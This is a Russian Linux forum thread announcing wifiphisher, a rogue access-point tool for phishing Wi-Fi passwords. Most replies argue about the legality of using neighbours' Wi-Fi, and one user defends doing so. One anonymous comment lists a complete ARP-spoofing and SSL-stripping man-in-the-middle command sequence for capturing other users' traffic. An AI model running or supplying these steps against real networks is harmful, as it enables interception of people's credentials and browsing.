LINUX.ORG.RU

Утилита для создания MitM-точек доступа: wifiphisher

 , , ,


8

9

Для Kali Linux разработана утилита, позволяющая удобно создавать точки доступа для перехвата пароля от Wi-Fi.

Возможности:

  • Отключение (deauthentication) клиентов от настоящей точки доступа.
  • Настройка беспроводного сетевого адаптера в режим точки доступа, копирующий имя и адрес атакуемой точки доступа.
  • Настройка NAT, DHCP-сервер.
  • Улавливающий веб-сервер (captive portal) со страницей для социальной инженерии, замаскированной под страницу обновления прошивки точки доступа.
  • Интерактивный текстовый интерфейс для оператора.

>>> Подробности



Проверено: Shaman007 ()

Ответ на: комментарий от anonymous

Честно говоря, всем насрать, что ты думаешь. Как говорится, объяснишь это прокурору.

тут у тебя не хватает пруфлинка. Кого-то уже осудили за ХСВ?

А кроме того, в те времена, когда я заглядывал в договор провайдера, там был пункт, запрещающий предоставлять услугу доступа в интернет другим лицам (правда с тех пор распространился wi-fi и, возможно, этот пункт более не фигурирует в договорах)

какой-ты смешной. Сам признался, что в договоры уже как минимум 10 лет не смотрел. А что вылез-то?

Вообще поражает безграмотность

ага. Так я не понял: у тебя мама договоры подписывает, или ты сам подписываешь не читая?

вера в ненаказуемость таких вот ковбоев как ты

смешной ты. На самом деле ситуация сейчас несколько иная: всем монопенисуально. Провайдер в своём договоре(который ты не читал) дистанцируется от твоей приватности, т.е. её никоим образом НЕ гарантирует. Это _твоя_ забота. И если там у тебя что-то утечёт ценное для тебя, то ловить это ценное будешь исключительно ТЫ. Писать жалобы в Суд, в Спортлото, и так далее. Вряд-ли тебе кто-то ответит.

При желании, ты можешь огородить свою точку доступа так, что никакой школьник, и даже emulek туда не проникнет. Если ты этого не сделал, то это _твоя_ проблема.

А потом они сидят в суде с унылыми рожами и жуют сопли.

пруф, или не было.

emulek ()
Ответ на: комментарий от anonymous

Я думал, таких школьников еще в 90х ремнем отшлепали.

т.е. кроме перехода на личности уже аргументов не осталось? Да впрочем у тебя их и не было.

emulek ()
Ответ на: комментарий от emulek

Вот тебе первая ссылка с гугла:
http://www.bibliotekar.ru/ugolovnyi-codex-2/216.htm

В связи с тем что речь идет об охраняемой законом информации, неправомерность доступа к ней потребителя характеризуется еще и нарушением установленного порядка доступа к этой информации.

Следущее предложение доставляет отдельно:

Если нарушен установленный порядок доступа к охраняемой законом информации, согласие ее собственника или владельца не исключает, по нашему мнению, неправомерности доступа к ней.



При желании, ты можешь огородить свою точку доступа так, что никакой школьник, и даже emulek туда не проникнет. Если ты этого не сделал, то это _твоя_ проблема.

Иными словами, преступление — это проблема пострадавшего.

shahid ★★★★★ ()
Ответ на: комментарий от emulek

Если ты этого не сделал, то это _твоя_ проблема.

Ошибаешься. Утверждения карманника, мол лох сам лопатник в задний карман запихал, или насильника, мол сама ночью в короткой юбке вышла, обычно, следователей/прокуратуру/суды не впечатляют.

Ровно так же не впечатлят и утверждения о наличии/отсутствии технических мер ЗИ.

В 272/273 о ЗИ ничего не сказано, так что суд этот вопрос даже рассматривать не станет.

Macil ★★★★★ ()
Ответ на: комментарий от shahid

Вот тебе первая ссылка с гугла: http://www.bibliotekar.ru/ugolovnyi-codex-2/216.htm

что ты этим хотел доказать?

Следущее предложение доставляет отдельно: Если нарушен установленный порядок доступа к охраняемой законом информации

для тех кто в танке: какую ИНФОРМАЦИЮ я получил от соседа по ХСВ?

Иными словами, преступление — это проблема пострадавшего.

да.

emulek ()
Ответ на: комментарий от emulek

Честно говоря, всем насрать, что ты думаешь.

тут у тебя не хватает пруфлинка

Вот тебе пруфлинк: мне насрать, остальные пруфлинки у других ЛОРовцев (можешь экстраполировать мое мнение на остальных, т.к. всем известна компетенция).

Сам признался, что в договоры уже как минимум 10 лет не смотрел. А что вылез-то?

Как ты сделал из этого вывод, что подобных нюансов не обнаружится в действующих?

Так я не понял: у тебя мама договоры подписывает, или ты сам подписываешь не читая?

Это как-то оправдывает противоправные действия в отношении меня и моего вайфая?

На самом деле ситуация сейчас несколько иная

На самом деле, фразу «на самом деле» используют только фантазеры.
Мы тут обсуждаем, что будут инкриминировать злоумышленнику, а значит подразумеваем, что он известен. Так что никаких спрортлото.

Если ты этого не сделал, то это _твоя_ проблема.

Прям как незапертая входная дверь. И кого из преступников это спасло на суде?

Пруфы в судебной практике, я не буду их гуглить. Сам нагуглишь, когда пригласят на допрос.

anonymous ()
Ответ на: комментарий от Macil

Ошибаешься. Утверждения карманника, мол лох сам лопатник в задний карман запихал, или насильника, мол сама ночью в короткой юбке вышла, обычно, следователей/прокуратуру/суды не впечатляют.

ты научись читать, я там про провайдера говорил.

Ровно так же не впечатлят и утверждения о наличии/отсутствии технических мер ЗИ.

так пруфы будут?

В 272/273 о ЗИ ничего не сказано, так что суд этот вопрос даже рассматривать не станет.

а где сказано?

emulek ()
Ответ на: комментарий от emulek

Я думал, таких школьников еще в 90х ремнем отшлепали

перехода на личности

Я не думал, что ты школьник. Вообще-то я имел в виду, что в 90х многих школьников выпороли ремнями за «халявные» диалапы. Сроков, естественно, не давали по очевидными причинам. Но они были так же уверены в своей безнаказанности, как и ты (в виду какой-то только вам известной благородности что ли, ведь не из злого умысла же вы). Так что нервы потрепали им и их родителям. Пруфы ищи в подшивках местных газетенок за тот период.

anonymous ()
Ответ на: комментарий от emulek

Иными словами, преступление — это проблема пострадавшего.

да.

До тех пор, пока не установлен злоумышленник. А мы подразумеваем, что злоумышленник установлен. С этих самых пор преступление - это не только проблема пострадавшего.

anonymous ()
Ответ на: комментарий от anonymous

Как ты сделал из этого вывод, что подобных нюансов не обнаружится в действующих?

а я договора ЧИТАЮ, перед тем, как их подписать.

Так я не понял: у тебя мама договоры подписывает, или ты сам подписываешь не читая?

Это как-то оправдывает противоправные действия в отношении меня и моего вайфая?

конечно. Юридически: «отсутствие состава преступления».

Мы тут обсуждаем, что будут инкриминировать злоумышленнику, а значит подразумеваем, что он известен. Так что никаких спрортлото.

а модератор сейчас уссался на полу, глядя на то, что я с «твоего» ip пишу, а ты об этом даже не догадываешься.

Прям как незапертая входная дверь. И кого из преступников это спасло на суде?

очень многих. Если дверь не заперта, то очень сложно доказать, что вор именно тот, кого опер поймал. А не кто-то другой. А ежели заперта, то всегда найдутся свидетели и следы взлома.

Пруфы в судебной практике, я не буду их гуглить.

в гугле забанили?

emulek ()
Ответ на: комментарий от anonymous

Я не думал, что ты школьник.

я не школьник.

Вообще-то я имел в виду, что в 90х многих школьников выпороли ремнями за «халявные» диалапы.

это которые крякером инета доставлялись? Нет, не слышал.

Но они были так же уверены в своей безнаказанности, как и ты (в виду какой-то только вам известной благородности что ли, ведь не из злого умысла же вы). Так что нервы потрепали им и их родителям. Пруфы ищи в подшивках местных газетенок за тот период.

Пруфы у меня есть в архиве FIDO NET(ИЧСХ, с моим участием. Но я тебе их не дам, по вполне понятным причинам).

emulek ()
Ответ на: комментарий от emulek

а я договора ЧИТАЮ, перед тем, как их подписать.

Я даже не хочу спрашивать как ты ЧИТАЕШЬ договоры тех, у кого воруешь вайфай. Это твое ковбойское кнг-фу мне всеравно недоступно.

конечно. Юридически: «отсутствие состава преступления».

Выстрой логическую цепочку от начала и до конца, ковбойская логика непостижима посредственностями типа меня.

а модератор сейчас уссался

Понятно.

А ежели заперта, то всегда найдутся свидетели и следы взлома.

Они найдутся даже если дверь не заперта.

в гугле забанили?

Не знаю, проверь.

anonymous ()
Ответ на: комментарий от anonymous

До тех пор, пока не установлен злоумышленник. А мы подразумеваем, что злоумышленник установлен. С этих самых пор преступление - это не только проблема пострадавшего.

расскажи: как потерпевший найдёт злоумышленника? Как он вообще узнает о том, что он потерпевший?

emulek ()
Ответ на: комментарий от emulek

пруф?

Пруфы у меня есть

Ты еще и шизофреник.

я не школьник.

Может быть, но теперь я убедился, что в твоем случае «школьник» - это состояние души.

это которые крякером инета доставлялись

Я не знаю, что ты под этим подразумеваешь, но в описываемых мной случаях это называли и так.

anonymous ()
Ответ на: комментарий от anonymous

Я даже не хочу спрашивать как ты ЧИТАЕШЬ договоры тех, у кого воруешь вайфай. Это твое ковбойское кнг-фу мне всеравно недоступно.

я тебе расскажу, всё просто: Заходишь на сайт «своего» провайдера, и читаешь договор. Это возможно даже без регистрации в личном кабинете. ВНЕЗАПНО: мне как-то СРОЧНО понадобился инет, и я был не у себя дома. Ну да, залез в ХСВ, а там засада: деньги кончились. Но задонатил немного, мне не жалко.

Выстрой логическую цепочку от начала и до конца, ковбойская логика непостижима посредственностями типа меня.

дык проблема в _твоей_ логике.

Моя логика тривиальна: не делай другим того, чего не хочешь сделать себе. Если моим wifi'ем будет кто-то пользоваться не мешая мне — я не против.

А вот твою логику «шерифа» мне не понять.

Они найдутся даже если дверь не заперта.

проблема в том, что следы будут не единственные.

emulek ()
Ответ на: комментарий от emulek

как потерпевший найдёт злоумышленника

С каких пор потерпевший должен искать злоумышленника?

Как он вообще узнает о том, что он потерпевший?

Моя мать поймет, что она потерпевшая по предъявленному счету или «кончившемуся» интернету, т.к. в последний раз, когда я был у нее в гостях, она все еще пользовалась лимитированным интернетом.
Но это уже другой вопрос. Мы обсуждали что грозит тому, кто попался. Твоя шизофрения не позволяет тебе следить за темой разговора.

anonymous ()
Ответ на: комментарий от emulek

расскажи: как потерпевший найдёт злоумышленника? Как он вообще узнает о том, что он потерпевший?

Узнает и найдет. А всё потому, что большинство так называемых «злоумышленников» просто бараны. Причем не только в IT сфере. Везде. Думаешь в тюрьмах сидят сплошь высококвалифицированные спецы с соответствующей подготовкой, которых поймали еще более квалифицированные органы правопорядка? 99% пойманных - дебилоиды, которые даже ПТУ не смогли осилить.

Поэтому твой злоумышленник это не профи, а обычный баран, который начнет качать порево в торрентах и забивать канал пострадавшего, а так же сидеть на свой страничке в однотрахниках, в который будет указана его полная поднаготная, включая адрес. Поймать такого лоха и дать ему пару лет условно для раскрываемости одно удовольствие.

anonymous ()
Ответ на: комментарий от emulek

я тебе расскажу, всё просто

Это не просто просто. Это просто сказочно.

Моя логика тривиальна

На столько, что даже туповата.

я не против

А я против.

проблема в том

Проблемы будут в любом случае. Разбирать их - задача специально обученных людей.

anonymous ()
Ответ на: комментарий от anonymous

как потерпевший найдёт злоумышленника

С каких пор потерпевший должен искать злоумышленника?

а кто ещё будет искать?

Моя мать поймет, что она потерпевшая по предъявленному счету или «кончившемуся» интернету, т.к. в последний раз, когда я был у нее в гостях, она все еще пользовалась лимитированным интернетом.

У меня в Питере везде анлим.

Мы обсуждали что грозит тому, кто попался. Твоя шизофрения не позволяет тебе следить за темой разговора.

это ТЫ обсуждал, как кто-то, с помощью некой магии, попадётся.

С помощью какой именно магии ты не уточнил.

Также не привёл пруфов, что такое вообще когда-то происходило в данной реальности.

emulek ()
Ответ на: комментарий от anonymous

Узнает и найдет. А всё потому, что большинство так называемых «злоумышленников» просто бараны.

кстати, воры-карманники тоже на 95% «просто бараны».

Думаешь в тюрьмах сидят сплошь высококвалифицированные спецы с соответствующей подготовкой, которых поймали еще более квалифицированные органы правопорядка? 99% пойманных - дебилоиды, которые даже ПТУ не смогли осилить.

м... Какой из этого вывод?

Поэтому твой злоумышленник это не профи, а обычный баран, который начнет качать порево в торрентах и забивать канал пострадавшего, а так же сидеть на свой страничке в однотрахниках, в который будет указана его полная поднаготная, включая адрес. Поймать такого лоха и дать ему пару лет условно для раскрываемости одно удовольствие.

и что? Это к тебе имеет отношение, да? Ты какой из баранов в данной ситуации?

emulek ()
Ответ на: комментарий от anonymous

А я против.

всё в твоих руках. Ты сам говорил, что «полно баранов». Радуйся, стрич будут баранов, а не тебя, если у тебя мозгов хоть чуть больше, чем у соседнего барана.

Проблемы будут в любом случае. Разбирать их - задача специально обученных людей.

блаженны верующие.

emulek ()
Ответ на: комментарий от emulek

а кто ещё будет искать?

Тот, кто должен искать.

У меня в Питере везде анлим.

Да всем насрать.

это ТЫ обсуждал, как кто-то, с помощью некой магии, попадётся.

Врешь. Я вступил в разговор, когда речь пошла о том, ЧТО грозит.

С помощью какой именно магии ты не уточнил.

Потому что это не относится к тому, ЧТО грозит.

Также не привёл пруфов, что такое вообще когда-то происходило в данной реальности.

Я и не утверждал, что именно такое когда-то происходило. За незаконное пользование чужим интернетом - было (без доступа к информации потерпевшего). Но я вообще хотел пояснить спрашивающему, что статьи не ограничиваются рамками 272-274. То, что 159 приплюсовывается почти всегда - ищи сам пруфы (потому что, как правило, доступ к чужом компу/интернету/вайфаю происходит с помощью мошенничества). Если будет не лень, может и я нагуглю, но ты на меня не надейся.

anonymous ()
Ответ на: комментарий от anonymous

Потому что это не относится к тому, ЧТО грозит.

ну и ЧТО грозит?

emulek ()
Ответ на: комментарий от emulek

Ну во первых «крупный ущерб» нанести невозможно, даже если оттяпать себе весь канал. Во вторых, зачем наглеть? В моём городе(Петербург), каналы настолько толстые, что если даже заюзать половину соседского канала, то сосед и не заметит.

Если Вы запустите over9000 торентов, то легко положите канал. И пользователь не сможет пообщаться по «скайпику» со своей любимой бабушкой, или например заплатить штраф (а сегодня был последний день) из-за того что инет банк по таймауту вываливаться будет, много чего может быть.
Даже «крупный» можно, если это точка оказалась корпоративной, понятно, что админы в первую очередь виноваты, но нанесли ущерб именно Вы.

anc ★★★★★ ()
Ответ на: комментарий от anc

Если Вы запустите over9000 торентов

на ХСВ? Я что, белены объелся? Зачем мне это?

Даже «крупный» можно, если это точка оказалась корпоративной

с дуру можно и член сломать.

emulek ()

Фома и пять Ерём

Есть в УК абстрактной страны невнятная статья 1337: «Преступление в сфере IT наказывается лишением свободы от 1 до 10 лет»

Фому интересует, каким именно образом определяется, что действие A (скажем, открытие сайта xxx.com) подпадает под статью, а действие B (запуск программы /bin/xxx) - нет.

Тут прибегают 5 Ерём и начинают вопить, что за действие А уже осудили овер9000 человек, и это преступление потому, что преступление.

Logopeft ()
Ответ на: комментарий от shahid

Ты потребляешь трафик, за который твой сосед заплатил без санкции со стороны соседа. Прокурор может спокойно увидеть в этом НСД.

Очень правильно! Не факт, что у соседа безлимитка. Я сам несколько лет назад из за своего «раздолбайства» на лимитированном тарифе попал более чем на 5к руб. (что для домашнего инета не малая сумма).

anc ★★★★★ ()
Ответ на: комментарий от emulek

При желании, ты можешь огородить свою точку доступа так, что никакой школьник, и даже emulek туда не проникнет. Если ты этого не сделал, то это _твоя_ проблема.

Нет, для случая если это точка бесплатно предоставленная провайдером, а таких сейчас очень много. Однако если Вася Пупкин твой сосед вдруг опубликовал какой-нибудь противозаконный контент отвечать будешь именно ты.

anc ★★★★★ ()
Ответ на: комментарий от anonymous

Я не думал, что ты школьник. Вообще-то я имел в виду, что в 90х многих школьников выпороли ремнями за «халявные» диалапы. Сроков, естественно, не давали по очевидными причинам.

Вранье, в 90-х не было закона за который можно было наказать за диалап. А то, что при выявлении случаев провы звонили на телефон и грозили анальными карами, не более чем пугалки с их стороны.
Правда могу не исключать возможных случаев, когда родители пугались и наказывали школьника «ремнем по жопе».

anc ★★★★★ ()
Ответ на: комментарий от anc

Нет, для случая если это точка бесплатно предоставленная провайдером

у нас в СПб дают роутер (бесплатно), а настраивать там WPA2 конечно самому надо. А вот что-бы давали роутер без возможности настройки — не слышал. Можно пруфлинк на сайт этого провайдера?

Однако если Вася Пупкин твой сосед вдруг опубликовал какой-нибудь противозаконный контент отвечать будешь именно ты.

испугал ежа голой жопой.

emulek ()
Ответ на: комментарий от emulek

У меня в Питере везде анлим.

Он тоже ловиться. Пользователь замечает падение скорости, обращается в ТП прова, тот выдает статистику, пользователь говорит что это не он, проф может провести расследование, профит.

anc ★★★★★ ()
Ответ на: комментарий от anc

Он тоже ловиться. Пользователь замечает падение скорости, обращается в ТП прова, тот выдает статистику, пользователь говорит что это не он, проф может провести расследование, профит.

диванный теоретик детектед. Попробуй сначала, потом пори чушь.

emulek ()
Ответ на: комментарий от emulek

это ТЫ обсуждал, как кто-то, с помощью некой магии, попадётся.

А вот тут вспомнилось, в начале 2000-х когда домашний инет пришел в ДС (безлимита не было), один умник тырил инет у соседей. Решение вопроса со стороны прова ему думаю на всю жизнь запомнилось.

anc ★★★★★ ()
Ответ на: комментарий от emulek

у нас в СПб дают роутер (бесплатно), а настраивать там WPA2 конечно самому надо.

В ДС случаев полно, когда пользователю оставляют без доступа к точке. да он (пользователь) вообще-то и не гуру в этом ему инет нужен и больше ничего.

Можно пруфлинк на сайт этого провайдера?

В ДС их оч. много. Так что пруфов не будет.

испугал ежа голой жопой.

Хорошо еще вариант, человек на мобиле/мобильном_роутере шарит инет, и ты к нему подключаешься, тут как-то с безлимитом хуже(для владельца) в смысле по деньгам.
И про запрещенный контент ты таки и не ответил.

anc ★★★★★ ()
Ответ на: комментарий от anc

А вот тут вспомнилось

давай уж войны на счёт ноды в FIDO вспомним, в коммунальной квартире в ДС2. В те времена FIDO работало на телефоне, и занимало этот телефон у меня с 23:00 до 07:00.

умник тырил инет у соседей. Решение вопроса со стороны прова

провайдеру-то какое дело?

emulek ()
Ответ на: комментарий от anc

В ДС случаев полно, когда пользователю оставляют без доступа к точке. да он (пользователь) вообще-то и не гуру в этом ему инет нужен и больше ничего.

это ССЗБ. Нормальный человек вызовет мастера, а мастер _обязан_ сделать православно. Вот если ты унитаз купишь, ты сам будешь его ставить? Я не буду.

В ДС их оч. много. Так что пруфов не будет.

слив засчитан. ВП доставляют.

Хорошо еще вариант, человек на мобиле/мобильном_роутере шарит инет, и ты к нему подключаешься, тут как-то с безлимитом хуже(для владельца) в смысле по деньгам.

ага, да. А потом его провайдер расскажет этому дурачку мою фамилию, адрес, и кличку моей кошки, да?

И про запрещенный контент ты таки и не ответил.

эта длинная история. Мне лень рассказывать. К тому же рассказывать тебе придётся долго, с самого начала. И уж поверь, релизеру emulek'у есть что тебе рассказать. Но лень. Да и светится особо не хочется.

emulek ()
Ответ на: комментарий от emulek

давай уж войны на счёт ноды в FIDO вспомним, в коммунальной квартире в ДС2.

В комуналке не жил, поэтому говорить ничего не буду.
У меня проще было, квартира отдельная, почти СМ соблюдал, т.е. змх соблюдаем 100%, ночь с первого звонка, день с задержкой на 3-й ринг.
Всех домашних устраивало.

anc ★★★★★ ()
Ответ на: комментарий от anc

У меня проще было, квартира отдельная, почти СМ соблюдал, т.е. змх соблюдаем 100%, ночь с первого звонка, день с задержкой на 3-й ринг.

у нас в ДС2 с этим сложнее было, увы.

emulek ()
Ответ на: комментарий от emulek

провайдеру-то какое дело?

Только деньги, постоянный клиент пожаловался, он оказался не виноват, «ушлепок» денег не приносит, терять хорошего клиента не выгодно, так что как-то так. Прошение долга клиенту, это плюс к репутации и минус к доходам. Но репутация потом воздается приходом новых клиентов. Напомню, это было еще в начале 2000-х.

anc ★★★★★ ()
Ответ на: комментарий от anc

в начале 2000-х.

ага. Эпоха пионер-нетов.

Это всё конечно очень интересно, но давно не актуально. У меня сейчас

1. я в ЛОРе

2. жена смотрит зомбоящик (оно тоже через интернет)

3. младший сын играется в планшете

4. старший в десктопе

Никто никому не мешает. Если кто-то подключится, я это замечу только через статистику и мониторинг. Но на кой ляд мне этим заморачиваться?

emulek ()
Ответ на: комментарий от emulek

Это всё конечно очень интересно, но давно не актуально

Вам нет, а кому-то да. Например мне может помешать толпа с торентами, иногда по работе для меня важна скорость канала.

2. жена смотрит зомбоящик (оно тоже через интернет)

он обычно отдельным каналом идет, так что не считаеться.

anc ★★★★★ ()
Последнее исправление: anc (всего исправлений: 1)
Ответ на: комментарий от anc

Вам нет, а кому-то да. Например мне может помешать толпа с торентами, иногда по работе для меня важна скорость канала.

если _вам_ не хватает, купите ещё.

он обычно отдельным каналом идет, так что не считаеться.

у меня считается. Через задницу сделали. Но за то дёшево.

emulek ()
Ответ на: комментарий от emulek

если _вам_ не хватает, купите ещё.

Мне как раз хватает, но именно мне, а не то что бы делиться с соседями.

anc ★★★★★ ()

* nano /etc/etter.conf * fping -a -g 192.168.1.9 192.168.1.1 -s (Lessthan sign)hosts * sslstrip -a -k -f * iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 * arpspoof -i wlan0 -t 192.168.1.9 192.168.1.1 * ettercap -Tq -L etterlogs -i wlan0 * urlsnarf -vvv -i wlan0 * driftnet -v -i wlan0

anonymous ()
Ответ на: комментарий от anc

Вранье, в 90-х не было закона за который можно было наказать за диалап.

Нет, не вранье. Я не знаю, что ты имеешь в виду под «наказать за диалап», но предъявленный клиенту счет за диалап, которым он не пользовался, или недоступность для клиента диалапа, который он оплатил, были поводом пойти в милицию и написать заявление.

провы звонили

Нет, детишек допрашивали в милиции.

когда родители пугались и наказывали школьника «ремнем по жопе»

Да, все известные мне случаи заканчивались именно так.

anonymous ()

А там написано как точно модель устройства узнать? Чтоб не ошибиться в «соц. инженерии»? Именно в кавычках. И вообще если есть какойнить сервак не большой, то можно на нем EAP-TLS поднять это не много времени занимает.

pic0 ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.